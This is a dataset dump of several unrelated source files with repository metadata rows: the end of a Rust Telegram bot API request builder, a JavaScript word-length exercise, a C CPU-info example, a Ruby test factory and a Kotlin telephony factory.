/// For tg-method documentation see [`DeleteChatStickerSet`]
///
/// [`DeleteChatStickerSet`]:
/// crate::requests::payloads::DeleteChatStickerSet
pub fn delete_chat_sticker_set<C>(
&self,
chat_id: C,
) -> json::Request<DeleteChatStickerSet>
where
C: Into<ChatId>,
{
json::Request::new(self, DeleteChatStickerSet::new(chat_id))
}
/// For tg-method documentation see [`AnswerCallbackQuery`]
///
/// [`AnswerCallbackQuery`]: crate::requests::payloads::AnswerCallbackQuery
pub fn answer_callback_query<C>(
&self,
callback_query_id: C,
) -> json::Request<AnswerCallbackQuery>
where
C: Into<String>,
{
json::Request::new(self, AnswerCallbackQuery::new(callback_query_id))
}
/// For tg-method documentation see [`EditMessageTextInline`]
///
/// [`EditMessageTextInline`]:
/// crate::requests::payloads::EditMessageTextInline
pub fn edit_message_text_inline<I, T>(
&self,
inline_message_id: I,
text: T,
) -> json::Request<EditMessageTextInline>
where
I: Into<String>,
T: Into<String>,
{
json::Request::new(
self,
EditMessageTextInline::new(inline_message_id, text),
)
}
/// For tg-method documentation see [`EditMessageText`]
///
/// [`EditMessageText`]: crate::requests::payloads::EditMessageText
pub fn edit_message_text<C, T>(
&self,
chat_id: C,
message_id: i32,
text: T,
) -> json::Request<EditMessageText>
where
C: Into<ChatId>,
T: Into<String>,
{
json::Request::new(
self,
EditMessageText::new(chat_id, message_id, text),
)
}
/// For tg-method documentation see [`EditMessageCaptionInline`]
///
/// [`EditMessageCaptionInline`]:
/// crate::requests::payloads::EditMessageCaptionInline
pub fn edit_message_caption_inline<I>(
&self,
inline_message_id: I,
) -> json::Request<EditMessageCaptionInline>
where
I: Into<String>,
{
json::Request::new(
self,
EditMessageCaptionInline::new(inline_message_id),
)
}
/// For tg-method documentation see [`EditMessageCaption`]
///
/// [`EditMessageCaption`]: crate::requests::payloads::EditMessageCaption
pub fn edit_message_caption<C>(
&self,
chat_id: C,
message_id: i32,
) -> json::Request<EditMessageCaption>
where
C: Into<ChatId>,
{
json::Request::new(self, EditMessageCaption::new(chat_id, message_id))
}
/// For tg-method documentation see [`EditMessageMediaInline`]
///
/// [`EditMessageMediaInline`]:
/// crate::requests::payloads::EditMessageMediaInline
pub fn edit_message_media_inline<I>(
&self,
inline_message_id: I,
media: InputMedia,
) -> multipart::Request<EditMessageMediaInline>
where
I: Into<String>,
{
multipart::Request::new(
self,
EditMessageMediaInline::new(inline_message_id, media),
)
}
/// For tg-method documentation see [`EditMessageMedum`]
///
/// [`EditMessageMedum`]: crate::requests::payloads::EditMessageMedum
pub fn edit_message_media<C>(
&self,
chat_id: C,
message_id: i32,
media: InputMedia,
) -> multipart::Request<EditMessageMedia>
where
C: Into<ChatId>,
{
multipart::Request::new(
self,
EditMessageMedia::new(chat_id, message_id, media),
)
}
/// For tg-method documentation see [`EditMessageReplyMarkupInline`]
///
/// [`EditMessageReplyMarkupInline`]:
/// crate::requests::payloads::EditMessageReplyMarkupInline
pub fn edit_message_reply_markup_inline<I>(
&self,
inline_message_id: I,
) -> json::Request<EditMessageReplyMarkupInline>
where
I: Into<String>,
{
json::Request::new(
self,
EditMessageReplyMarkupInline::new(inline_message_id),
)
}
/// For tg-method documentation see [`EditMessageReplyMarkup`]
///
/// [`EditMessageReplyMarkup`]:
/// crate::requests::payloads::EditMessageReplyMarkup
pub fn edit_message_reply_markup<C>(
&self,
chat_id: C,
message_id: i32,
) -> json::Request<EditMessageReplyMarkup>
where
C: Into<ChatId>,
{
json::Request::new(
self,
EditMessageReplyMarkup::new(chat_id, message_id),
)
}
/// For tg-method documentation see [`StopPoll`]
///
/// [`StopPoll`]: crate::requests::payloads::StopPoll
pub fn stop_poll<C>(
&self,
chat_id: C,
message_id: i32,
) -> json::Request<StopPoll>
where
C: Into<ChatId>,
{
json::Request::new(self, StopPoll::new(chat_id, message_id))
}
/// For tg-method documentation see [`DeleteMessage`]
///
/// [`DeleteMessage`]: crate::requests::payloads::DeleteMessage
pub fn delete_message<C>(
&self,
chat_id: C,
message_id: i32,
) -> json::Request<DeleteMessage>
where
C: Into<ChatId>,
{
json::Request::new(self, DeleteMessage::new(chat_id, message_id))
}
/// For tg-method documentation see [`SendSticker`]
///
/// [`SendSticker`]: crate::requests::payloads::SendSticker
pub fn send_sticker<C, S>(
&self,
chat_id: C,
sticker: S,
) -> multipart::Request<SendSticker>
where
C: Into<ChatId>,
S: Into<InputFile>,
{
multipart::Request::new(self, SendSticker::new(chat_id, sticker))
}
/// For tg-method documentation see [`GetStickerSet`]
///
/// [`GetStickerSet`]: crate::requests::payloads::GetStickerSet
pub fn get_sticker_set<N>(&self, name: N) -> json::Request<GetStickerSet>
where
N: Into<String>,
{
json::Request::new(self, GetStickerSet::new(name))
}
/// For tg-method documentation see [`UploadStickerFile`]
///
/// [`UploadStickerFile`]: crate::requests::payloads::UploadStickerFile
pub fn upload_sticker_file(
&self,
user_id: i32,
png_sticker: InputFile,
) -> json::Request<UploadStickerFile> {
json::Request::new(self, UploadStickerFile::new(user_id, png_sticker))
}
/// For tg-method documentation see [`CreateNewStickerSet`]
///
/// [`CreateNewStickerSet`]: crate::requests::payloads::CreateNewStickerSet
pub fn create_new_sticker_set<N, T, P, E>(
&self,
user_id: i32,
name: N,
title: T,
png_sticker: P,
emojis: E,
) -> multipart::Request<CreateNewStickerSet>
where
N: Into<String>,
T: Into<String>,
P: Into<InputFile>,
E: Into<String>,
{
multipart::Request::new(
self,
CreateNewStickerSet::new(user_id, name, title, png_sticker, emojis),
)
}
/// For tg-method documentation see [`AddStickerToSet`]
///
/// [`AddStickerToSet`]: crate::requests::payloads::AddStickerToSet
pub fn add_sticker_to_set<N, P, E>(
&self,
user_id: i32,
name: N,
png_sticker: P,
emojis: E,
) -> multipart::Request<AddStickerToSet>
where
N: Into<String>,
P: Into<InputFile>,
E: Into<String>,
{
multipart::Request::new(
self,
AddStickerToSet::new(user_id, name, png_sticker, emojis),
)
}
/// For tg-method documentation see [`SetStickerPositionInSet`]
///
/// [`SetStickerPositionInSet`]:
/// crate::requests::payloads::SetStickerPositionInSet
pub fn set_sticker_position_in_set<S>(
&self,
sticker: S,
position: i32,
) -> json::Request<SetStickerPositionInSet>
where
S: Into<String>,
{
json::Request::new(
self,
SetStickerPositionInSet::new(sticker, position),
)
}
/// For tg-method documentation see [`DeleteStickerFromSet`]
///
/// [`DeleteStickerFromSet`]:
/// crate::requests::payloads::DeleteStickerFromSet
pub fn delete_sticker_from_set<S>(
&self,
sticker: S,
) -> json::Request<DeleteStickerFromSet>
where
S: Into<String>,
{
json::Request::new(self, DeleteStickerFromSet::new(sticker))
}
/// For tg-method documentation see [`AnswerInlineQuery`]
///
/// [`AnswerInlineQuery`]: crate::requests::payloads::AnswerInlineQuery
pub fn answer_inline_query<I, R>(
&self,
inline_query_id: I,
results: R,
) -> json::Request<AnswerInlineQuery>
where
I: Into<String>,
R: Into<Vec<InlineQueryResult>>,
{
json::Request::new(
self,
AnswerInlineQuery::new(inline_query_id, results),
)
}
/// For tg-method documentation see [`SendInvoice`]
///
/// [`SendInvoice`]: crate::requests::payloads::SendInvoice
#[allow(clippy::too_many_arguments)]
pub fn send_invoice<T, D, Pl, Pt, S, C, Pr>(
&self,
chat_id: i32,
title: T,
description: D,
payload: Pl,
provider_token: Pt,
start_parameter: S,
currency: C,
prices: Pr,
) -> json::Request<SendInvoice>
where
T: Into<String>,
D: Into<String>,
Pl: Into<String>,
Pt: Into<String>,
S: Into<String>,
C: Into<String>,
Pr: Into<Vec<LabeledPrice>>,
{
json::Request::new(
self,
SendInvoice::new(
chat_id,
title,
description,
payload,
provider_token,
start_parameter,
currency,
prices,
),
)
}
/// For tg-method documentation see [`AnswerShippingQuery`]
///
/// [`AnswerShippingQuery`]: crate::requests::payloads::AnswerShippingQuery
pub fn answer_shipping_query<S>(
&self,
shipping_query_id: S,
ok: bool,
) -> json::Request<AnswerShippingQuery>
where
S: Into<String>,
{
json::Request::new(
self,
AnswerShippingQuery::new(shipping_query_id, ok),
)
}
/// For tg-method documentation see [`AnswerPreCheckoutQuery`]
///
/// [`AnswerPreCheckoutQuery`]:
/// crate::requests::payloads::AnswerPreCheckoutQuery
pub fn answer_pre_checkout_query<P>(
&self,
pre_checkout_query_id: P,
ok: bool,
) -> json::Request<AnswerPreCheckoutQuery>
where
P: Into<String>,
{
json::Request::new(
self,
AnswerPreCheckoutQuery::new(pre_checkout_query_id, ok),
)
}
/// For tg-method documentation see [`SendGame`]
///
/// [`SendGame`]: crate::requests::payloads::SendGame
pub fn send_game<G>(
&self,
chat_id: i32,
game_short_name: G,
) -> json::Request<SendGame>
where
G: Into<String>,
{
json::Request::new(self, SendGame::new(chat_id, game_short_name))
}
/// For tg-method documentation see [`SetGameScoreInline`]
///
/// [`SetGameScoreInline`]: crate::requests::payloads::SetGameScoreInline
pub fn set_game_score_inline<I>(
&self,
inline_message_id: I,
user_id: i32,
score: i32,
) -> json::Request<SetGameScoreInline>
where
I: Into<String>,
{
json::Request::new(
self,
SetGameScoreInline::new(inline_message_id, user_id, score),
)
}
/// For tg-method documentation see [`SetGameScore`]
///
/// [`SetGameScore`]: crate::requests::payloads::SetGameScore
pub fn set_game_score<C>(
&self,
chat_id: C,
message_id: i32,
user_id: i32,
score: i32,
) -> json::Request<SetGameScore>
where
C: Into<ChatId>,
{
json::Request::new(
self,
SetGameScore::new(chat_id, message_id, user_id, score),
)
}
/// For tg-method documentation see [`GetGameHighScoreInline`]
///
/// [`GetGameHighScoreInline`]:
/// crate::requests::payloads::GetGameHighScoreInline
pub fn get_game_high_scores_inline<I>(
&self,
inline_message_id: I,
user_id: i32,
) -> json::Request<GetGameHighScoreInline>
where
I: Into<String>,
{
json::Request::new(
self,
GetGameHighScoreInline::new(inline_message_id, user_id),
)
}
/// For tg-method documentation see [`GetGameHighScore`]
///
/// [`GetGameHighScore`]: crate::requests::payloads::GetGameHighScore
pub fn get_game_high_scores<C>(
&self,
chat_id: C,
message_id: i32,
user_id: i32,
) -> json::Request<GetGameHighScore>
where
C: Into<ChatId>,
{
json::Request::new(
self,
GetGameHighScore::new(chat_id, message_id, user_id),
)
}
/// For tg-method documentation see [`SetChatAdministratorCustomTitle`]
///
/// [`SetChatAdministratorCustomTitle`]:
/// crate::requests::payloads::SetChatAdministratorCustomTitle
pub fn set_chat_administrator_custom_title<C, CT>(
&self,
chat_id: C,
user_id: i32,
custom_title: CT,
) -> json::Request<SetChatAdministratorCustomTitle>
where
C: Into<ChatId>,
CT: Into<String>,
{
json::Request::new(
self,
SetChatAdministratorCustomTitle::new(
chat_id,
user_id,
custom_title,
),
)
}
}
| 28.266327 | 80 | 0.579427 |
f0768556a1b71d15812033a9cc69a7cc2128c930
| 1,122 |
js
|
JavaScript
|
2-avgWordLength.js
|
NJBOOT/ten_simple_coding_tests
|
60c7e03b66c3592c0b0c94ae1d5690d0b7bac501
|
[
"MIT"
] | null | null | null |
2-avgWordLength.js
|
NJBOOT/ten_simple_coding_tests
|
60c7e03b66c3592c0b0c94ae1d5690d0b7bac501
|
[
"MIT"
] | null | null | null |
2-avgWordLength.js
|
NJBOOT/ten_simple_coding_tests
|
60c7e03b66c3592c0b0c94ae1d5690d0b7bac501
|
[
"MIT"
] | null | null | null |
// 2 - Average Sentence Length
// For a given sentence, return the average word length.
// Note: Remember to remove punctuation first.
const avgWordLength = s => {
// first, weird edge case where the punctuation represents a space
// then strip the rest of the punctuation using regex
const stripped = s
.replace("...", " ")
.replace(/[^\w\s]|_/g, "")
.replace(/\s+/g, " ");
// create an array of words. Transform each word to the length of that word using map.
// Then, add them up using reduce.
const arr = stripped
.split(" ")
.map(el => el.length)
.reduce(
(a, charCount) => {
a.chars += charCount;
a.words++;
return a;
},
{ words: 0, chars: 0 }
);
//console.log(arr) -> { words: 11, chars: 42 }. Divide one by the other for average
return (arr.chars / arr.words).toFixed(2);
};
let sentence1 = "Hi all, my name is Tom...I am originally from Australia.";
let sentence2 =
"I need to work very. hard to learn more about ????algo?,rithms i/n Python!";
console.log(avgWordLength(sentence1));
console.log(avgWordLength(sentence2));
| 32.057143 | 88 | 0.628342 |
c43aecb39b70251cd9bc328f13808b6d95d51f40
| 1,445 |
c
|
C
|
examples/c/sources/CpuInfoEx.c
|
wdv4758h/Yeppp-
|
deeca59a88bc2b014be802fd575757f7c26c180e
|
[
"BSD-3-Clause"
] | 30 |
2015-09-18T00:52:22.000Z
|
2021-11-03T17:44:30.000Z
|
examples/c/sources/CpuInfoEx.c
|
rguthrie3/Yeppp-Mirror
|
23cc725a7489d376558bef3e92e31fda014b6c47
|
[
"BSD-3-Clause"
] | 1 |
2017-02-09T04:53:29.000Z
|
2017-02-09T04:53:29.000Z
|
examples/c/sources/CpuInfoEx.c
|
rguthrie3/Yeppp-Mirror
|
23cc725a7489d376558bef3e92e31fda014b6c47
|
[
"BSD-3-Clause"
] | 6 |
2017-02-09T03:05:32.000Z
|
2022-03-17T06:50:19.000Z
|
#include <stdio.h>
#include <assert.h>
#include <yepLibrary.h>
/* The size of buffer for strings from the Yeppp! library */
#define BUFFER_SIZE 1024
int main(int argc, char **argv) {
enum YepStatus status;
Yep32u coresCount, L1I, L1D, L2, L3;
YepSize bufferLength;
char buffer[BUFFER_SIZE];
status = yepLibrary_Init();
assert(status == YepStatusOk);
bufferLength = BUFFER_SIZE - 1; /* Reserve one symbol for terminating null */
status = yepLibrary_GetString(YepEnumerationCpuFullName, 0, YepStringTypeDescription, buffer, &bufferLength);
assert(status == YepStatusOk);
buffer[bufferLength] = '\0'; /* Append terminating null */
printf("Processor: %s\n", buffer);
status = yepLibrary_GetLogicalCoresCount(&coresCount);
assert(status == YepStatusOk);
printf("Logical cores: %u\n", (unsigned)(coresCount));
status = yepLibrary_GetCpuInstructionCacheSize(1, &L1I);
assert(status == YepStatusOk);
printf("L1I: %u\n", (unsigned)(L1I));
status = yepLibrary_GetCpuDataCacheSize(1, &L1D);
assert(status == YepStatusOk);
printf("L1D: %u\n", (unsigned)(L1D));
status = yepLibrary_GetCpuDataCacheSize(2, &L2);
assert(status == YepStatusOk);
printf("L2: %u\n", (unsigned)(L2));
status = yepLibrary_GetCpuDataCacheSize(3, &L3);
assert(status == YepStatusOk);
printf("L3: %u\n", (unsigned)(L3));
status = yepLibrary_Release();
assert(status == YepStatusOk);
return 0;
}
| 30.744681 | 111 | 0.693426 |
afeccb8c7c12523780681085c2369f4051f58258
| 478 |
rb
|
Ruby
|
spec/factories/posts.rb
|
calismamasam/calismamasam.com
|
5c65f7a3b3db11ca8918429dd02d2aef4e5d4f13
|
[
"MIT"
] | 100 |
2018-01-04T20:43:17.000Z
|
2020-06-18T13:55:11.000Z
|
spec/factories/posts.rb
|
haticeedis/calismamasam.com
|
e0ea92eca79e38eb0fdddf2fc6c18f0cf6d8a3bd
|
[
"MIT"
] | 22 |
2018-01-05T07:37:16.000Z
|
2020-06-25T02:18:37.000Z
|
spec/factories/posts.rb
|
haticeedis/calismamasam.com
|
e0ea92eca79e38eb0fdddf2fc6c18f0cf6d8a3bd
|
[
"MIT"
] | 13 |
2018-01-05T07:32:22.000Z
|
2020-03-14T12:25:59.000Z
|
FactoryBot.define do
factory :post do
sequence(:title) { |n| "#{Faker::Name.unique.name}#{n}" }
is_active false
job_title 'Software Developer'
company Faker::Company.name
twitter_url 'https://twitter.com/calismamasamcom'
body Faker::Lorem.paragraphs(20)
description Faker::Lorem.paragraph
published_at Time.current
image { Rack::Test::UploadedFile.new(Rails.root.join('spec', 'support', 'data', 'valid_image.png'), 'image/png') }
end
end
| 34.142857 | 118 | 0.694561 |
9be4cee987e2616e9718ea987875a1aa060cc12d
| 1,926 |
kt
|
Kotlin
|
android/src/main/kotlin/com/airfore/cell_info/core/factory/NetMonsterFactory.kt
|
dudizimber/FlutterCellInfo
|
0692d496c01c5e0f334aabef152be89f4cca338b
|
[
"BSD-2-Clause"
] | 178 |
2019-08-11T20:30:40.000Z
|
2022-03-29T11:43:24.000Z
|
android/src/main/kotlin/com/airfore/cell_info/core/factory/NetMonsterFactory.kt
|
dudizimber/FlutterCellInfo
|
0692d496c01c5e0f334aabef152be89f4cca338b
|
[
"BSD-2-Clause"
] | 36 |
2020-04-05T15:18:00.000Z
|
2022-03-31T20:38:32.000Z
|
android/src/main/kotlin/com/airfore/cell_info/core/factory/NetMonsterFactory.kt
|
dudizimber/FlutterCellInfo
|
0692d496c01c5e0f334aabef152be89f4cca338b
|
[
"BSD-2-Clause"
] | 47 |
2019-08-26T11:23:47.000Z
|
2022-03-01T19:46:21.000Z
|
package cz.mroczis.netmonster.core.factory
import android.content.Context
import android.os.Build
import cz.mroczis.netmonster.core.INetMonster
import cz.mroczis.netmonster.core.NetMonster
import cz.mroczis.netmonster.core.subscription.ISubscriptionManagerCompat
import cz.mroczis.netmonster.core.subscription.SubscriptionManagerCompat14
import cz.mroczis.netmonster.core.subscription.SubscriptionManagerCompat22
import cz.mroczis.netmonster.core.telephony.*
import cz.mroczis.netmonster.core.telephony.TelephonyManagerCompat14
import cz.mroczis.netmonster.core.telephony.TelephonyManagerCompat17
import cz.mroczis.netmonster.core.telephony.TelephonyManagerCompat29
import cz.mroczis.netmonster.core.telephony.TelephonyManagerCompat30
/**
* Factory that produces new instances.
*/
object NetMonsterFactory {
/**
* Creates new instance of [ITelephonyManagerCompat] that is bound to specified
* subscription id ([subId]) if applicable for current Android version.
*/
fun getTelephony(context: Context, subId: Int = Integer.MAX_VALUE): ITelephonyManagerCompat =
when {
Build.VERSION.SDK_INT >= Build.VERSION_CODES.R -> TelephonyManagerCompat30(context, subId)
Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q -> TelephonyManagerCompat29(context, subId)
Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1 -> TelephonyManagerCompat17(context, subId)
else -> TelephonyManagerCompat14(context, subId)
}
fun getSubscription(context: Context) : ISubscriptionManagerCompat =
when {
Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP_MR1 -> SubscriptionManagerCompat22(context)
else -> SubscriptionManagerCompat14(context)
}
/**
* Creates new instance of [INetMonster].
*/
fun get(context: Context) : INetMonster =
NetMonster(context, getSubscription(context))
}
| 42.8 | 115 | 0.760644 |
1c96562d3e017dd2e6b490493032168e5f88aa39
| 1,386 |
swift
|
Swift
|
Sources/UIPreview/UICatalog/CatalogItemView.swift
|
0111b/UIPreview
|
036c76904e772bdfaa57c6509f299009022391f3
|
[
"MIT"
] | null | null | null |
Sources/UIPreview/UICatalog/CatalogItemView.swift
|
0111b/UIPreview
|
036c76904e772bdfaa57c6509f299009022391f3
|
[
"MIT"
] | null | null | null |
Sources/UIPreview/UICatalog/CatalogItemView.swift
|
0111b/UIPreview
|
036c76904e772bdfaa57c6509f299009022391f3
|
[
"MIT"
] | null | null | null |
#if canImport(SwiftUI)
import SwiftUI
#endif
import UIKit
@available(iOS 14, *)
struct CatalogItemView<Content: UICatalogPresentable>: View {
let configuration: UICatalog.PreviewConfiguration
var body: some View {
ForEach(values: Content.previewModels) { model in
ForEach(values: configuration.colorSchemes) { scheme in
ForEach(values: configuration.contentSizeCategory) { category in
configuration.itemStyle
.body(content: Content.preview(with: model),
configuration: .init(modelInfo: String(describing: model),
scheme: scheme,
category: category,
size: configuration.size))
}
}
}
}
}
#if DEBUG
@available(iOS 14, *)
struct CatalogItem_Previews: PreviewProvider {
static var previews: some View {
NavigationView {
ScrollView(.vertical) {
PreviewLegend()
CatalogItemView<TestView>(configuration: .init())
}.navigationBarTitle("TestView")
}
}
}
private final class TestView: UILabel, UICatalogPresentable {
static var previewModels = [
"Hello world",
"Hello2 world",
"Hello3 world",
"Hello4 world"
]
func apply(previewModel: String) {
text = previewModel
textColor = .systemRed
numberOfLines = 0
}
}
#endif
| 25.666667 | 76 | 0.621212 |
319aed33b44a3f35a8f9d657660ff05be8b3dfb5
| 1,292 |
pks
|
SQL
|
APEXTREE.pks
|
emjayhr/apex-tree
|
10df55a77574c35e64e9c4132348ae6eb62fc939
|
[
"MIT"
] | 3 |
2017-03-03T16:49:40.000Z
|
2017-03-07T08:51:47.000Z
|
APEXTREE.pks
|
emjayhr/apex-tree
|
10df55a77574c35e64e9c4132348ae6eb62fc939
|
[
"MIT"
] | 3 |
2017-03-28T13:46:06.000Z
|
2018-07-17T16:02:19.000Z
|
APEXTREE.pks
|
emjayhr/apex-tree
|
10df55a77574c35e64e9c4132348ae6eb62fc939
|
[
"MIT"
] | 1 |
2021-09-04T20:47:53.000Z
|
2021-09-04T20:47:53.000Z
|
create or replace package apextree is
-- Author : MARIO
-- Created : 19.02.2017 10:11:28 PM
-- Purpose :
type t_hij_record is record (
id number
, master_id number
, name varchar2(300)
, description varchar2(4000)
, description_2 varchar2(4000)
, node_type varchar2(400)
, class_name varchar2(300)
, icon varchar2(100)
, ord varchar2(500)
, link1 varchar2(100)
, link2 varchar2(100)
, link3 varchar2(100)
, error varchar2(4000)
, searchable number(1)
)
;
type t_hij_cur is ref cursor return t_hij_record;
type t_hij_table is table of t_hij_record;
-- Public type declarations
function get_data (
i_region_source in varchar2
, i_region_name in varchar2
, i_master_id in number default null
) return t_hij_table pipelined;
function render_report (
p_region in apex_plugin.t_region,
p_plugin in apex_plugin.t_plugin,
p_is_printer_friendly in boolean )
return apex_plugin.t_region_render_result;
function ajax_report (
p_region in apex_plugin.t_region,
p_plugin in apex_plugin.t_plugin )
return apex_plugin.t_region_ajax_result;
end apextree;
| 25.84 | 52 | 0.640867 |
9941a7f7f81b7139abb436bb5b8826550e62a3f2
| 7,378 |
lua
|
Lua
|
IRE AND FIST REBORN/lua/bipod.lua
|
the-almighty-carl/IreNFist
|
e40346eff3f414b483f2e55ec2ec93d41cc54c14
|
[
"MIT"
] | 5 |
2020-07-25T22:25:29.000Z
|
2021-05-08T10:42:17.000Z
|
IRE AND FIST REBORN/lua/bipod.lua
|
the-almighty-carl/IreNFist
|
e40346eff3f414b483f2e55ec2ec93d41cc54c14
|
[
"MIT"
] | 121 |
2020-07-23T17:36:42.000Z
|
2022-03-30T03:07:39.000Z
|
IRE AND FIST REBORN/lua/bipod.lua
|
the-almighty-carl/IreNFist
|
e40346eff3f414b483f2e55ec2ec93d41cc54c14
|
[
"MIT"
] | 6 |
2020-07-25T22:25:33.000Z
|
2021-07-09T19:59:32.000Z
|
function WeaponLionGadget1:_is_deployable()
--[[
if tweak_data.weapon[managers.blackmarket:equipped_primary().weapon_id].use_bipod_anywhere == true then
return true
end
return self:_shoot_bipod_rays2()
--]]
if tweak_data.weapon[managers.blackmarket:equipped_primary().weapon_id].use_bipod_anywhere == true then
return true
end
if self._is_npc or (not self:_get_bipod_obj() and not tweak_data.weapon[managers.blackmarket:equipped_primary().weapon_id].custom_bipod) then
return false
end
if self:_is_in_blocked_deployable_state() then
return false
end
--local bipod_rays = self:_shoot_bipod_rays()
local bipod_rays = self:_shoot_bipod_rays2()
if not bipod_rays then
return false
end
--[[
if not bipod_rays then
bipod_rays = self:_shoot_bipod_rays2()
if not bipod_rays then
return false
end
end
--]]
if bipod_rays.forward then
return false
end
if bipod_rays.center then
return true
end
return false
end
-- fucking vectors how do they work
-- transform: left, forward, up
-- rotate: rotate around z (forward goes right), rotate around x (forward goes up), rotate around y (left goes down)
function WeaponLionGadget1:_shoot_bipod_rays2(debug_draw)
--local player_pos = managers.player:player_unit():position()
--local player_rot = managers.player:player_unit():rotation()
local camera_pos = managers.player:player_unit():camera():position()
--local wpn_pos = managers.player:equipped_weapon_unit():position()
local wpn_rot = managers.player:equipped_weapon_unit():rotation()
-- forward check vector
local forward_vec = Vector3(0, 150, 0)
mvector3.rotate_with(forward_vec, wpn_rot)
if math.abs(forward_vec:to_polar().pitch) > 60 then
return nil
end
local bipod_pos = Vector3()
mvector3.set(bipod_pos, camera_pos)
mvector3.add(bipod_pos, forward_vec)
local result = {}
local forwardtest = self._unit:raycast(camera_pos, bipod_pos) --Utils:GetCrosshairRay(camera_pos, bipod_pos)
if forwardtest then
result.forward = true
end
-- check if bipod has a surface to rest on
local forward_values = {80, 100, 120}
for a, b in ipairs(forward_values) do
local forward_vec = Vector3(0, b, 0)
mvector3.rotate_with(forward_vec, wpn_rot)
local bipod_forward_pos = Vector3()
mvector3.set(bipod_forward_pos, camera_pos)
mvector3.add(bipod_forward_pos, forward_vec)
-- bipod legs (perpendicular to barrel)
local forward_down_vec = Vector3(0, b, -93)
mvector3.rotate_with(forward_down_vec, wpn_rot)
local bipod_down_pos = Vector3()
mvector3.set(bipod_down_pos, camera_pos)
mvector3.add(bipod_down_pos, forward_down_vec)
-- vertical-wall test, must have a surface below to deploy
-- still doesn't prevent the from-hood-to-license-plate case
local forward_gravity_vec = Vector3(0, b, 0)
mvector3.rotate_with(forward_gravity_vec, wpn_rot)
local bipod_gravity_pos = Vector3()
mvector3.set(bipod_gravity_pos, camera_pos)
mvector3.add(bipod_gravity_pos, forward_gravity_vec) -- vector forward at weapon angle
mvector3.add(bipod_gravity_pos, Vector3(0, 0, -90)) -- check straight down
local surface_resting_test = self._unit:raycast(bipod_forward_pos, bipod_down_pos)
local angle_test = self._unit:raycast(bipod_forward_pos, bipod_gravity_pos)
if surface_resting_test and angle_test then
result.down = true
end
end
return {forward = result.forward or nil, center = result.down or nil}
end
--[[
function WeaponLionGadget1:_shoot_bipod_rays(debug_draw)
local mvec1 = Vector3()
local mvec2 = Vector3()
local mvec3 = Vector3()
local mvec_look_dir = Vector3()
local mvec_gun_down_dir = Vector3()
local from = mvec1
local to = mvec2
local from_offset = mvec3
local bipod_max_length = WeaponLionGadget1.bipod_length or 120 -- 90
if not self._bipod_obj then
return nil
end
if not self._bipod_offsets then
self:get_offsets()
end
mrotation.y(self:_get_bipod_alignment_obj():rotation(), mvec_look_dir)
mrotation.x(self:_get_bipod_alignment_obj():rotation(), mvec_gun_down_dir)
local bipod_position = Vector3()
mvector3.set(bipod_position, self._bipod_offsets.direction)
mvector3.rotate_with(bipod_position, self:_get_bipod_alignment_obj():rotation())
mvector3.multiply(bipod_position, (self._bipod_offsets.distance or bipod_max_length) * -1)
mvector3.add(bipod_position, self:_get_bipod_alignment_obj():position())
--log("player position: " .. Vector3.ToString(managers.player:player_unit():position()))
--log("bipod position: " .. Vector3.ToString(self._bipod_offsets.direction))
--log("bipod align position: " .. Vector3.ToString(self:_get_bipod_alignment_obj():position()))
--log("player rotation: " .. managers.player:player_unit():rotation())
--log("bipod align rotation: " .. Vector3.ToString(self:_get_bipod_alignment_obj():rotation()))
if debug_draw then
Application:draw_line(bipod_position, bipod_position + Vector3(10, 0, 0), unpack({
1,
0,
0
}))
Application:draw_line(bipod_position, bipod_position + Vector3(0, 10, 0), unpack({
0,
1,
0
}))
Application:draw_line(bipod_position, bipod_position + Vector3(0, 0, 10), unpack({
0,
0,
1
}))
end
if mvec_look_dir:to_polar().pitch > 60 then
return nil
end
mvector3.set(from, bipod_position)
mvector3.set(to, mvec_gun_down_dir)
mvector3.multiply(to, bipod_max_length)
mvector3.rotate_with(to, Rotation(mvec_look_dir, 120))
mvector3.add(to, from)
local ray_bipod_left = self._unit:raycast(from, to)
if not debug_draw then
self._left_ray_from = Vector3(from.x, from.y, from.z)
self._left_ray_to = Vector3(to.x, to.y, to.z)
else
if not ray_bipod_left or not {
0,
1,
0
} then
local color = {
1,
0,
0
}
end
Application:draw_line(from, to, unpack(color))
end
mvector3.set(to, mvec_gun_down_dir)
mvector3.multiply(to, bipod_max_length)
mvector3.rotate_with(to, Rotation(mvec_look_dir, 60))
mvector3.add(to, from)
local ray_bipod_right = self._unit:raycast(from, to)
if not debug_draw then
self._right_ray_from = Vector3(from.x, from.y, from.z)
self._right_ray_to = Vector3(to.x, to.y, to.z)
else
if not ray_bipod_right or not {
0,
1,
0
} then
local color = {
1,
0,
0
}
end
Application:draw_line(from, to, unpack(color))
end
mvector3.set(to, mvec_gun_down_dir)
mvector3.multiply(to, bipod_max_length * math.cos(30))
mvector3.rotate_with(to, Rotation(mvec_look_dir, 90))
mvector3.add(to, from)
local ray_bipod_center = self._unit:raycast(from, to)
if not debug_draw then
self._center_ray_from = Vector3(from.x, from.y, from.z)
self._center_ray_to = Vector3(to.x, to.y, to.z)
else
if not ray_bipod_center or not {
0,
1,
0
} then
local color = {
1,
0,
0
}
end
Application:draw_line(from, to, unpack(color))
end
mvector3.set(from_offset, Vector3(0, -100, 0))
mvector3.rotate_with(from_offset, self:_get_bipod_alignment_obj():rotation())
mvector3.add(from, from_offset)
mvector3.set(to, mvec_look_dir)
mvector3.multiply(to, 150)
mvector3.add(to, from)
local ray_bipod_forward = self._unit:raycast(from, to)
if debug_draw then
if not ray_bipod_forward or not {
1,
0,
0
} then
local color = {
0,
1,
0
}
end
Application:draw_line(from, to, unpack(color))
end
return {
left = ray_bipod_left,
right = ray_bipod_right,
center = ray_bipod_center,
forward = ray_bipod_forward
}
end
--]]
| 28.933333 | 142 | 0.742071 |
ad653b4b72752ed482410b4dbf402f2919d680e8
| 5,181 |
rs
|
Rust
|
edgelet/iotedged/src/windows.rs
|
kkdawkins/iotedge
|
529ea97f685f0eb1986e6cbce4ddd310b61d00ae
|
[
"MIT"
] | 1 |
2019-10-03T13:36:14.000Z
|
2019-10-03T13:36:14.000Z
|
edgelet/iotedged/src/windows.rs
|
kkdawkins/iotedge
|
529ea97f685f0eb1986e6cbce4ddd310b61d00ae
|
[
"MIT"
] | 1 |
2020-09-22T18:33:55.000Z
|
2020-09-22T18:33:55.000Z
|
edgelet/iotedged/src/windows.rs
|
kkdawkins/iotedge
|
529ea97f685f0eb1986e6cbce4ddd310b61d00ae
|
[
"MIT"
] | 3 |
2019-04-10T22:05:30.000Z
|
2019-04-11T16:10:41.000Z
|
